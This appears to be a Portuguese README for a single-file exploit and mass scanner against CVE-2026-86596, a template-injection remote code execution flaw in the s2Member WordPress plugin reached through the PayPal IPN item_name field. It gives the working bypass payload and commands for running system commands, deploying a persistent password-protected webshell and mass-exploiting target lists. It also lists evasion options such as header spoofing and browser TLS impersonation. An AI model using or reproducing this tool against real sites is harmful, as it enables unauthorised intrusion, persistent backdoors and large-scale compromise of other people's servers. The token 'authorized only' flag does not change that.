
Scanner de exploit único arquivo e de varredura em massa para CVE-2026-86596, uma RCE por injeção de template no s2Member através do parâmetro item_name do PayPal IPN, com variantes de bypass e implantação de webshell.
CVSS 9.8 | CVE-2026-86596 | Correção: 261001+
Exploit armado e scanner em arquivo único para injeção de template no s2Member via parâmetro IPN item_name.
$paypal = strip_php_tags_deep($paypal); // Only strips literal '<?'
$msg = preg_replace('/%%item_name%%/i', esc_refs($paypal['item_name']), $msg);
$msg = trim(preg_replace('/%%(.+?)%%/i', '', $msg)); // Removes %%x%% -> reassembles <?php
Payload: <%%x%%?php system('id'); ?> → contorna strip_php_tags_deep, remontando para um <?php válido após a limpeza dos placeholders.
# Single target RCE
python3 poc.py target.com --cmd "id" --authorized
# Persistent webshell (access: /shell.php?pass=cmd)
python3 poc.py target.com --cmd "shell:mysecret" --authorized --deploy-shell
# Full bypass matrix (all variants)
python3 poc.py target.com --cmd "id" --authorized --full-bypass
# Mass scan with recon
python3 poc.py targets.txt --scan --threads 30 --recon
# Scan + exploit
python3 poc.py targets.txt --scan --exploit --cmd "id" --authorized --output results.json
| Flag | Descrição |
|---|---|
--cmd "id" | Comando a executar (ou shell:pass para webshell) |
--scan | Modo de varredura em massa (lê alvos do arquivo) |
--exploit | Tenta explorar durante a varredura |
--authorized | OBRIGATÓRIO para qualquer ação de exploração |
--recon | Reconhecimento completo antes da exploração |
--item-number | item_number específico (padrão: descoberta automática) |
--proxy-verification | Chave s2member_paypal_proxy_verification |
--write-test | Grava arquivo de teste em vez de executar comando |
--deploy-shell | Implanta webshell persistente |
--shell-path | Nome do arquivo da webshell (padrão: shell.php) |
--full-bypass | Tenta TODAS as variantes de contorno (lento) |
--no-evasion | Desativa todas as tentativas de contorno |
--threads N | Threads de varredura (padrão: 15) |
--output file | Saída JSON/CSV |
--http-proxy | Proxy HTTP(S) |
--impersonate | Impressão digital TLS: chrome/firefox/safari/edge |
--insecure | Desativa a verificação TLS |
--verbose | Saída detalhada |
| Camada | Variantes |
|---|---|
| Payload | 10: raw, urlenc, b64, concat, var-func, assert, preg_replace/e, create_function, shortcode, shortcode+b64 |
| Escrita | 4: file_put_contents, fopen/fwrite, shell_exec, b64_decode |
| Shell | 5: eval, system, assert, b64_eval, shortcode |
| Requisição | 5: form, multipart, dup, multipart-dup, JSON |
| Cabeçalhos | 7: XFF spoof, PayPal referer/origin, IPN headers, cluster |
| TLS | 4: chrome, firefox, safari, edge (curl_cffi) |
item_number válido (ID de post/página protegido)do_shortcode() / [s2If php=...]/root/labv/
├── poc.py # Single weaponized exploit + scanner (384 lines)
├── README.md # This file
└── targets.txt # Example target list
APENAS PARA TESTES AUTORIZADOS. A flag --authorized confirma permissão por escrito.